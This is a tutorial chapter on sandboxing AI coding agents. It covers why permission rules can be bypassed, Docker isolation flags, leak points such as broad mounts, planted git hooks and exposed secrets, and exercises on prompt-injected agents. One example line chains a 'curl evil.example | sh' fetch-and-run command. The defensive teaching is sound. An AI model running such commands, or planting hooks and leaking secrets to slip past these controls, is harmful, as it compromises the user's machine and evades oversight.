Sub topic 7
Sandboxing: Limits the Agent Cannot Talk Its Way Past
This chapter assumes you have read the earlier chapters on the permission decision (allow, ask, deny) and on approval modes. You should be comfortable with a terminal, basic shell commands, and git.
Why permission prompts are not enough
A permission system sits inside the agent program. When the model proposes a tool call, the agent's own code checks the rules and decides whether to run it, ask you, or refuse. This is useful, but it has a structural weakness: the check and the thing being checked live in the same process, and the check works on a description of the action, usually a command string or a file path.
That leads to three problems:
- Pattern gaps. A rule such as
git diff*approvesgit diff; curl evil.example | sh, because it matches the text and not the behavior. The previous chapter on rules covered this. - Bugs and bypasses. If the permission layer has a bug, or a tool is implemented in a way the rules did not anticipate, the action runs with the full authority of your user account.
- Human error. You may approve something you did not fully read. Later chapters cover approval fatigue.
A sandbox is an isolation boundary enforced by something other than the agent, such as the operating system kernel, a container runtime, or a virtual machine. The sandbox does not look at what the model said or why. It restricts what the process can do, regardless of what code runs inside. A prompt can be persuaded. A kernel permission check cannot.
The two layers answer different questions:
| Layer | Question it answers | Enforced by | Can be talked past? |
|---|---|---|---|
| Permission prompt or rule | Should this action run? | Agent program | Yes, through bad rules, bugs, or a careless approval |
| Sandbox | What can this process touch at all? | OS, container, or VM | No, unless the isolation itself has a flaw |
You need both. Permissions give you fine-grained, human-readable control and a chance to catch mistakes. The sandbox limits the damage when those controls fail.
What a sandbox restricts
A useful sandbox limits several resources independently. The categories line up with the risk categories from earlier in the tutorial.
- Filesystem. Which paths can be read, which can be written. A typical policy allows read and write inside the project directory and read-only access to system libraries. It blocks everything else, including
~/.ssh,~/.aws, and shell startup files. - Network. Whether the process can open connections, and to which hosts. The strictest policy is no network at all. A middle policy allows a short list of hosts, such as a package registry.
- Processes. Which programs can be started, how many, and with what privileges. Limits on CPU time and memory stop runaway loops and fork bombs.
- Credentials and environment. Which environment variables and credential files are visible inside. A process cannot leak a secret it cannot see.
Note that an approved action still passes through the sandbox. Approval grants the right to attempt the action. The sandbox decides what the attempt can reach.
Common sandbox mechanisms
Sandboxes differ in strength, setup cost, and convenience. The right choice depends on how much you trust the task.
| Mechanism | Isolation strength | Typical cost | Notes |
|---|---|---|---|
| OS-level process sandbox (Linux namespaces, seccomp, Landlock; macOS Seatbelt) | Moderate | Low overhead, little setup | Shares the host kernel. Restricts files, network, and system calls for one process tree. |
| Container (Docker, Podman) | Moderate to good | Needs an image and mounts | Shares the host kernel. Isolation depends on configuration: privileged mode or a mounted Docker socket removes most of it. |
| Dev container or remote workspace | Good | Setup per project | Same container isolation, packaged with the project's toolchain. |
| Virtual machine | Strong | Heavier, slower start | Separate kernel. A breakout requires a hypervisor flaw. |
| Disposable cloud environment | Strong | Cost and latency | Credentials and data on the machine are only what you put there. |
A rule of thumb: the more the agent can do without asking you, the stronger the boundary should be.
A concrete example: a container with a narrow mount
The following shell script runs a command inside a container that has no network access, a read-only root filesystem, and only the current project mounted for writing. It assumes Docker is installed and uses the public python:3.12-slim image.
#!/usr/bin/env bash
set -euo pipefail
PROJECT_DIR="$(pwd)"
docker run --rm \
--network none \
--read-only \
--tmpfs /tmp \
--cap-drop ALL \
--security-opt no-new-privileges \
--memory 1g \
--pids-limit 256 \
--user "$(id -u):$(id -g)" \
-v "$PROJECT_DIR":/work \
-w /work \
python:3.12-slim \
"$@"Save it as sandbox-run.sh, make it executable, and try it:
chmod +x sandbox-run.sh
./sandbox-run.sh python -c "print('hello from the sandbox')"
./sandbox-run.sh python -c "import urllib.request as u; u.urlopen('https://example.com', timeout=3)"The first command prints a message. The second fails with a name resolution or network error, because --network none removes every network interface except loopback. Even if a prompt injection convinced the agent to run an exfiltration command, the data would have nowhere to go.
What each option does:
--network noneblocks outbound and inbound connections.--read-onlymakes the container's root filesystem unwritable.--tmpfs /tmpgives it a scratch area in memory.--cap-drop ALLremoves Linux capabilities, the fine-grained privileges that root normally holds.no-new-privilegesstops a process from gaining privileges through setuid binaries.--memoryand--pids-limitcap resource use.--userruns as your user ID, so files the agent creates in the project are owned by you.- The
-vmount is the only part of the host the container can write to.
You can check the same idea in the permission layer from earlier in this tutorial. Path scoping in code is useful, but it only checks strings. The mount is different: files outside it do not exist from the container's point of view.
Where sandboxes leak
A sandbox is only as good as its configuration. These are the failure modes to check.
Over-broad mounts
Mounting your home directory "for convenience" puts ~/.ssh, ~/.aws, and shell configuration inside the boundary. Mounting /var/run/docker.sock lets the process start new containers with any settings, which is equivalent to root on the host. Mount the project directory and nothing more.
Writable files that run later
Even a tightly scoped write area can be dangerous if something outside the sandbox later executes what was written. Examples include .git/hooks/*, package.json scripts, Makefile targets, CI configuration, and editor task files. The agent cannot touch your home directory, but it can plant a script in the project that you run yourself, unsandboxed, tomorrow. Treat the diff as untrusted code and review it before running it (see the later chapter on auditing).
Network allow-lists that are too generous
Allowing a package registry seems harmless, but package installs run arbitrary install scripts. Allowing a general hosting domain (cloud storage, paste sites, code hosting) gives an attacker a place to send data. Prefer an explicit list of hosts, and consider a proxy that logs requests.
Secrets inside the boundary
If an API key is in an environment variable or a .env file in the project, it is inside the sandbox. A network restriction will protect it, but a filesystem restriction will not. The later chapter on secrets covers keeping credentials out of the boundary.
Shared kernel
Containers and OS-level sandboxes share the host kernel. A kernel vulnerability can allow escape. For code you do not trust at all, use a VM or a disposable remote machine.
Sandbox off by default, or easy to disable
Some tools let the agent request an unsandboxed run, which then goes through the normal permission prompt. That is a reasonable design, but it means the prompt is again the only protection for that action. Know which actions can leave the sandbox, and keep them on "ask".
Sandboxes change how you set approval modes
Without a sandbox, a permissive approval mode means every action has the full power of your account. With a good sandbox, the worst case shrinks to what the boundary allows. This is why many setups pair the two: broad auto-approval inside a tight sandbox, and strict prompts for anything that crosses the boundary, such as pushing to a remote or reading outside the project.
Checklist for evaluating a sandbox
- List what is mounted or visible: paths, environment variables, credential files, sockets.
- Test it. Try reading
~/.sshand making a network request from inside, and confirm both fail. - Identify what can be written and what later executes it.
- Identify the escape hatches: unsandboxed commands, privileged flags, shared sockets.
- Match the isolation strength to the trust level of the task and its inputs.
Exercise
An agent runs in a container started with --network none, and the project directory is mounted read-write. The project's .env file contains a production database password. Name one risk this setup still has, and one change that reduces it.
Show answer
The password is inside the boundary, so the agent can read it and could write it into a source file, a log, or a commit message. When you later push or run that file outside the sandbox, the secret can leak. Remove the secret from the mounted directory (use a development credential, or inject only what the task needs), or exclude .env from the mount. Reviewing the diff before pushing also catches the leak.
Exercise
Why can a prompt-injected agent still cause harm on your machine even when it cannot write outside the project directory?
Show answer
It can write files inside the project that something outside the sandbox later runs, such as a git hook, a package script, a Makefile target, or a CI configuration. You then execute that code with your full account privileges. Review the diff, and treat agent-written scripts as untrusted until you have read them.